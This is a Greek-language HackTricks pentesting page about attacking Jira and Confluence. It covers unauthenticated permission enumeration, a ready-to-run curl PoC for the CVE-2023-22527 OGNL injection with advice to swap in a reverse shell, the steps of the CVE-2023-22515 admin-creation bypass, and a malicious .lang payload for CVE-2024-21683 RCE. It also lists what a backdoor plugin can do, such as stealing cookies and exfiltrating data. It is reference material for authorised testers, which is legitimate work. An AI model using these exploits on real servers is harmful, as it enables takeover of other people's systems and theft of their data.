Jira & Confluence

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Έλεγχος Δικαιωμάτων

Στο Jira, τα privileges μπορούν να ελεγχθούν από οποιονδήποτε χρήστη, είτε είναι αυθεντικοποιημένος είτε όχι, μέσω των endpoints /rest/api/2/mypermissions ή /rest/api/3/mypermissions. Αυτά τα endpoints αποκαλύπτουν τα τρέχοντα privileges του χρήστη. Ένα αξιοσημείωτο ζήτημα προκύπτει όταν μη αυθεντικοποιημένοι χρήστες κατέχουν privileges, γεγονός που υποδεικνύει μια ευπάθεια ασφαλείας που ενδέχεται να είναι επιλέξιμη για bounty. Παρομοίως, μη αναμενόμενα privileges για αυθεντικοποιημένους χρήστες επίσης επισημαίνουν μια ευπάθεια.

Μια σημαντική ενημέρωση έγινε στις 1 Φεβρουαρίου 2019, απαιτώντας το endpoint ‘mypermissions’ να περιλαμβάνει μια παράμετρο ‘permission’. Αυτή η απαίτηση στοχεύει στο βελτίωση της ασφάλειας καθορίζοντας τα δικαιώματα που ερωτώνται: check it here

  • ADD_COMMENTS
  • ADMINISTER
  • ADMINISTER_PROJECTS
  • ASSIGNABLE_USER
  • ASSIGN_ISSUES
  • BROWSE_PROJECTS
  • BULK_CHANGE
  • CLOSE_ISSUES
  • CREATE_ATTACHMENTS
  • CREATE_ISSUES
  • CREATE_PROJECT
  • CREATE_SHARED_OBJECTS
  • DELETE_ALL_ATTACHMENTS
  • DELETE_ALL_COMMENTS
  • DELETE_ALL_WORKLOGS
  • DELETE_ISSUES
  • DELETE_OWN_ATTACHMENTS
  • DELETE_OWN_COMMENTS
  • DELETE_OWN_WORKLOGS
  • EDIT_ALL_COMMENTS
  • EDIT_ALL_WORKLOGS
  • EDIT_ISSUES
  • EDIT_OWN_COMMENTS
  • EDIT_OWN_WORKLOGS
  • LINK_ISSUES
  • MANAGE_GROUP_FILTER_SUBSCRIPTIONS
  • MANAGE_SPRINTS_PERMISSION
  • MANAGE_WATCHERS
  • MODIFY_REPORTER
  • MOVE_ISSUES
  • RESOLVE_ISSUES
  • SCHEDULE_ISSUES
  • SET_ISSUE_SECURITY
  • SYSTEM_ADMIN
  • TRANSITION_ISSUES
  • USER_PICKER
  • VIEW_AGGREGATED_DATA
  • VIEW_DEV_TOOLS
  • VIEW_READONLY_WORKFLOW
  • VIEW_VOTERS_AND_WATCHERS
  • WORK_ON_ISSUES

Παράδειγμα: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS

#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'

Αυτοματοποιημένη enumeration

Πρόσφατα RCEs & πρακτικές exploit σημειώσεις (Confluence)

CVE-2023-22527 – μη αυθεντικοποιημένη template/OGNL injection (10.0)

  • Επηρεάζει Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. Το ευάλωτο Velocity template text-inline.vm επιτρέπει την αξιολόγηση OGNL χωρίς αυθεντικοποίηση.
  • Γρήγορο PoC (η εντολή εκτελείται ως χρήστης confluence):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
  • Η κεφαλίδα απάντησης x-cmd θα περιέχει την έξοδο της εντολής. Αντικαταστήστε το id με ένα reverse shell payload.
  • Scanner: nuclei template http/cves/2023/CVE-2023-22527.yaml (περιλαμβάνεται στα nuclei-templates ≥9.7.5).

CVE-2023-22515 – επανενεργοποίηση setup και δημιουργία admin (auth bypass)

  • Δημόσια προσβάσιμο Confluence Data Center/Server 8.0.0–8.5.1 επιτρέπει την αλλαγή του setupComplete και την επαναεκτέλεση του /setup/setupadministrator.action για τη δημιουργία νέου λογαριασμού admin.
  • Ελάχιστη ροή exploit:
  1. GET /server-info.action (χωρίς authentication) για να επιβεβαιώσετε την προσβασιμότητα.
  2. POST /server-info.action με παραμέτρους buildNumber για να αλλάξετε τη σημαία setup.
  3. POST /setup/setupadministrator.action με fullName, email, username, password, confirm για να δημιουργήσετε έναν admin.

CVE-2024-21683 – authenticated RCE via Code Macro upload

  • Ο Confluence Admin μπορεί να ανεβάσει χειροποίητο language definition στο Configure Code Macro· ο Rhino engine εκτελεί ενσωματωμένο Java, οδηγώντας σε RCE.
  • Για shell, ανεβάστε ένα αρχείο .lang που περιέχει payload όπως:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
  • Ενεργοποιείται επιλέγοντας την κακόβουλη γλώσσα σε οποιοδήποτε Code Macro body. Metasploit module exploit/multi/http/atlassian_confluence_rce_cve_2024_21683 αυτοματοποιεί auth + upload + exec.

Atlasian Plugins

Όπως αναφέρεται σε αυτό το blog, στην τεκμηρίωση για τα Plugin modules ↗ είναι δυνατό να ελεγχθούν οι διάφοροι τύποι plugins, όπως:

This is an example of the macro plugin type:

Παράδειγμα macro plugin ```java package com.atlassian.tutorial.macro;

import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;

import java.util.Map;

public class helloworld implements Macro {

public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“

Hello “ + map.get(“Name”) + “!

”); } else { return “

Hello World!

”; } }

public BodyType getBodyType() { return BodyType.NONE; }

public OutputType getOutputType() { return OutputType.BLOCK; } }

</details>

Είναι δυνατό να παρατηρήσει κανείς ότι αυτά τα plugins ενδέχεται να είναι ευάλωτα σε κοινές web ευπάθειες όπως το XSS. Για παράδειγμα, το προηγούμενο παράδειγμα είναι ευάλωτο επειδή ανακλά δεδομένα που δίνονται από τον χρήστη.

Μόλις βρεθεί ένα XSS, στο [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) μπορείτε να βρείτε κάποια payloads για να αυξήσετε τον αντίκτυπο του XSS.

## Backdoor Plugin

[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) περιγράφει διάφορες (κακόβουλες) ενέργειες που θα μπορούσε να εκτελέσει ένα κακόβουλο Jira plugin. Μπορείτε να βρείτε [**code example in this repo**](https://github.com/cyllective/malfluence).

Αυτές είναι μερικές από τις ενέργειες που ένα κακόβουλο plugin μπορεί να εκτελέσει:

- **Hiding Plugins from Admins**: Είναι δυνατή η απόκρυψη του κακόβουλου plugin με την έγχυση front-end javascript
- **Exfiltrating Attachments and Pages**: Επιτρέπει την πρόσβαση και την εξαγωγή όλων των δεδομένων.
- **Stealing Session Tokens**: Προσθέτει ένα endpoint που θα επιστρέφει τα headers στην απάντηση (με το cookie) και κάποιο javascript που θα το καλεί και θα leak τα cookies.
- **Command Execution**: Φυσικά είναι δυνατό να δημιουργηθεί ένα plugin που θα εκτελεί κώδικα.
- **Reverse Shell**: Ή να αποκτήσει reverse shell.
- **DOM Proxying**: Εάν το confluence βρίσκεται μέσα σε ιδιωτικό δίκτυο, θα ήταν δυνατό να δημιουργηθεί σύνδεση μέσω του browser ενός χρήστη με πρόσβαση σε αυτό και, για παράδειγμα, να επικοινωνήσει με τον server εκτελώντας εντολές μέσω αυτού.



## References

- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Μάθετε & εξασκηθείτε στο Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>